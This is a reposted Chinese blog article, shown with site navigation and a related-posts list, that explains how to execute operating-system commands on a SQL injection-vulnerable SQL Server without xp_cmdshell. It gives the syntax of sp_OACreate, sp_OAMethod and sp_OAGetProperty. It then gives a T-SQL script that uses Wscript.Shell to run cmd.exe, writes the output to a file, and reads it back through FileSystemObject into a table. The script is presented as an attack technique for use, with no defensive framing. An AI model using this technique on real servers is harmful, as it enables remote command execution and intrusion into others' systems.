zoukankan      html  css  js  c++  java
  • 不需xp_cmdshell支持在有注入漏洞的sql服务器上运行cmd命令_数据库安全

    即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
    sp_OACreate
    在 Microsoft? SQL Server? 实例上创建 OLE 对象实例。
    语法
    sp_OACreate progid, clsid,
    objecttoken OUTPUT
    [ , context ]
    sp_OAGetProperty
    获取 OLE 对象的属性值。
    语法
    sp_OAGetProperty objecttoken,
    propertyname
    [, propertyvalue OUTPUT]
    [, index...]
    sp_OAMethod
    调用 OLE 对象的方法。
    语法
    sp_OAMethod objecttoken,
    methodname
    [, returnvalue OUTPUT]
    [ , [ @parametername = ] parameter [ OUTPUT ]
    [...n]]


    思路:
    先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。

    以下是相应的SQL语句


    CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
    DECLARE @shell INT
    DECLARE @fso INT
    DECLARE @file INT
    DECLARE @isEnd BIT
    DECLARE @out VARCHAR(400)
    EXEC sp_oacreate wscript.shell,@shell output
    EXEC sp_oamethod @shell,run,null,cmd.exe /c dir c:\>c:\temp.txt,0,true
    --注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

    EXEC sp_oacreate scripting.filesystemobject,@fso output
    EXEC sp_oamethod @fso,opentextfile,@file out,c:\temp.txt
    --因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

    WHILE @shell>0
    BEGIN
    EXEC sp_oamethod @file,Readline,@out out
    INSERT INTO MYTMP(info) VALUES (@out)
    EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out
    IF @isEnd=1 BREAK
    ELSE CONTINUE
    END

    DROP TABLE MYTMP

  • 相关阅读:
    块级元素与行级元素(内联元素)
    css中属性值继承小解
    form表单
    html,xhtml和xml
    html中的标签分类
    如何把HTML标记分类
    实现对HashMap的value排序
    装饰者模式
    实现一个简单的二叉树容器,并且实现中序、先序、后续遍历
    Java中java.util.concurrent包下的4中线程池代码示例
  • 原文地址:https://www.cnblogs.com/yinhaosln/p/1109600.html
Copyright © 2011-2022 走看看